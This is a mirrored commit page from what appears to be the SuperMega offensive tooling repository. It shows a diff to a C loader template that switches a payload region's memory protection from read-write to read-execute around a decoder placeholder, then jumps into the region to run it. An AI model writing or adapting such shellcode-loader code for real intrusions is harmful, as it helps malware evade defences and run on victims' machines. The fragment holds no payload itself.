mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
refactor: change_rwx_rx is now rw_rx thanks to previous refactor 1 page diff
This commit is contained in:
+10
-3
@@ -40,19 +40,26 @@ int main()
|
||||
|
||||
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
|
||||
// can do only RW otherwise?
|
||||
for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
|
||||
/*for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
|
||||
if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
}*/
|
||||
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
|
||||
{{ plugin_decoder }}
|
||||
|
||||
for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
|
||||
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
|
||||
/*for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
|
||||
if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
|
||||
return 16;
|
||||
}
|
||||
}
|
||||
}*/
|
||||
|
||||
// Execute *dest
|
||||
(*(void(*)())(dest))();
|
||||
Reference in New Issue
Block a user